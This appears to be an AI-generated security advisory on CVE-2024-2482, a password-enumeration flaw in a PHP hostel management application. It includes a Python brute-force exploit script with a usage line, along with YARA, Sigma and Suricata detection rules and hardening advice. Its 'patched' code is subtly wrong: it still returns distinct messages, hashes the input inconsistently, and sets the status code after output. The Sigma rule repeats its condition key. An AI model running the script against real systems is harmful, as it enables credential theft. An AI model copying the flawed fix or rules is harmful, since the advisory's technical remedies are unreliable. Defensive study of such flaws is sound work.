CVE-2024-2482

Executive Summary

CVE-2024-2482 is a low-severity information disclosure vulnerability in Surya2Developer Hostel Management Service 1.0. The flaw resides in the /check_availability.php endpoint, where the application responds differently depending on whether the provided oldpassword parameter is correct or incorrect. This observable response discrepancy allows an unauthenticated remote attacker to enumerate valid passwords through a timing or content-based side-channel attack. Although the CVSS score is 3.7 (Low), the public availability of a proof-of-concept (PoC) and the lack of a vendor patch elevate the risk for deployments using this software. The vulnerability is classified under CWE-204 (Observable Response Discrepancy).

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 3.7 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – requires precise timing or response analysis
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – only password enumeration possible
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low. Exploitation is difficult due to high attack complexity, but the public PoC and lack of patch make it a realistic threat for exposed instances.

Deep Dive & Mechanics

The vulnerability exists in the HTTP POST handler for /check_availability.php. When a user submits a password change request, the application compares the oldpassword parameter against the stored password hash. Due to improper implementation, the server returns different HTTP status codes, response bodies, or response times depending on whether the old password is correct.

Technical Flow:

1. Attacker sends a POST request to /check_availability.php with oldpassword=test123.
2. Server processes the request and returns:
   • Correct password: HTTP 200 with a success message (e.g., "Password correct").
   • Incorrect password: HTTP 403 or a different error message (e.g., "Invalid old password").
3. By iterating through a password list, the attacker can identify valid credentials.

The attack is considered high complexity because the attacker must account for network latency, server load, and potential rate limiting. However, the public PoC demonstrates a working exploit.

Vulnerable vs. Patched Code

Vulnerable Code (Hostel Management Service 1.0):

// /check_availability.php (simplified)
$old = $_POST['oldpassword'];
$stored = getStoredPassword($userId);
if ($old === $stored) {
    echo "Password correct";
} else {
    echo "Invalid old password";
}

Patched Code (Hypothetical):

// Use constant-time comparison and generic error messages
$old = $_POST['oldpassword'];
$stored = getStoredPassword($userId);
if (hash_equals($stored, hash('sha256', $old))) {
    echo "Password correct";
} else {
    echo "Invalid old password";
}
// Always return same HTTP status
http_response_code(200);

No official patch exists. The vendor has not responded to the disclosure.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Python 3.x with requests library
• Wordlist of common passwords (e.g., rockyou.txt)
• Target URL: http://target.com/check_availability.php

Exploit Script:

import requests
import sys

def enumerate_password(target_url, wordlist):
    for password in wordlist:
        data = {'oldpassword': password}
        try:
            r = requests.post(target_url, data=data, timeout=5)
            # Observable discrepancy: success message vs error
            if "Password correct" in r.text:
                print(f"[+] Valid password found: {password}")
                return password
        except Exception as e:
            print(f"[-] Error: {e}")
    return None

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <wordlist_file>")
        sys.exit(1)
    target = sys.argv[1]
    with open(sys.argv[2], 'r', encoding='latin-1') as f:
        words = [line.strip() for line in f]
    enumerate_password(target, words)

Usage:

python3 exploit.py http://target.com/check_availability.php passwords.txt

Blue Team (Detection & Hardening)

Detection:

• Monitor for repeated POST requests to /check_availability.php with varying oldpassword values.
• Alert on high frequency of 403 responses from that endpoint.

Hardening:

• Implement rate limiting on /check_availability.php.
• Use constant-time string comparison (e.g., hash_equals() in PHP).
• Return generic error messages regardless of password correctness.
• Apply a Web Application Firewall (WAF) rule to block automated password guessing.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated POST requests to /check_availability.php with oldpassword parameter.
  • Source IPs performing sequential password attempts.
• File IOCs:
  • Log entries in /var/log/apache2/access.log showing multiple 403 responses from /check_availability.php.
• Behavioral IOCs:
  • Unusual number of failed password attempts from a single IP within a short time window.

Detection Engineering

YARA Rule

rule CVE_2024_2482_Exploit_Attempt {
    meta:
        description = "Detects exploit attempts for CVE-2024-2482 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2482"
    strings:
        $post_method = "POST"
        $target_path = "/check_availability.php"
        $oldpassword_param = "oldpassword="
    condition:
        $post_method and $target_path and $oldpassword_param
}

Sigma Rule

title: CVE-2024-2482 Password Enumeration Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple POST requests to /check_availability.php with different oldpassword values
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/check_availability.php'
    condition: selection
    timeframe: 5m
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate password reset attempts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2482 - Hostel Management Service Password Enumeration"; flow:to_server; content:"POST"; http_method; content:"/check_availability.php"; http_uri; content:"oldpassword="; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or restrict access to /check_availability.php using a WAF or .htaccess:

   <Files "check_availability.php">
       Require all denied
   </Files>
   

2. Implement rate limiting at the web server or application level.
3. Apply a virtual patch using a WAF to block requests with multiple oldpassword values.

Long-Term Fix:

• Contact the vendor (Surya2Developer) for an official patch.
• If no patch is forthcoming, consider migrating to an alternative hostel management solution.
• Rewrite the password verification logic to use constant-time comparison and generic error messages.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.